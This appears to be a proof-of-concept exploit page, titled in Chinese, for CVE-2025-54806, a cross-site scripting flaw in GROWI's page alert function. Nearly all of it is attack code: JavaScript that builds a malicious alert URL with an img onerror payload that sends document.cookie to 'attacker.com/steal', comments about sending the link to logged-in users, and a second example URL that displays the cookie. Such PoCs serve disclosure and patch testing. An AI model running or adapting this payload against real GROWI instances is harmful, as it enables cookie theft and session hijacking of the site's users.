CVE-2025-54806 GROWI页面警告功能跨站脚本漏洞

<!-- CVE-2025-54806 PoC - XSS in GROWI Page Alert Function --> <!-- This PoC demonstrates the XSS vulnerability in GROWI's page alert function --> <!-- Target: GROWI versions <= v4.2.7 --> <!-- Malicious URL to trigger XSS --> <!-- Replace [GROWI_HOST] with the target GROWI instance URL --> <script> // Malicious JavaScript payload const maliciousPayload = '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">" />'; // Construct the malicious URL targeting the page alert function const growiHost = '[GROWI_HOST]'; const maliciousUrl = `${growiHost}/_api/v3/pages/alert?alertHtml=${encodeURIComponent(maliciousPayload)}`; // In real attack scenario, this URL would be sent to logged-in users console.log('Malicious URL:', maliciousUrl); // Simulate the attack by injecting the payload // This would be executed when the user visits the crafted URL document.addEventListener('DOMContentLoaded', function() { // Example of how the payload executes console.log('XSS Payload would execute:', maliciousPayload); // Potential impact: Cookie theft, session hijacking, data exfiltration }); </script> <!-- Example attack URL format --> <!-- https://target-growi.com/_api/v3/pages/alert?alertHtml=<img src=x onerror=alert(document.cookie)> -->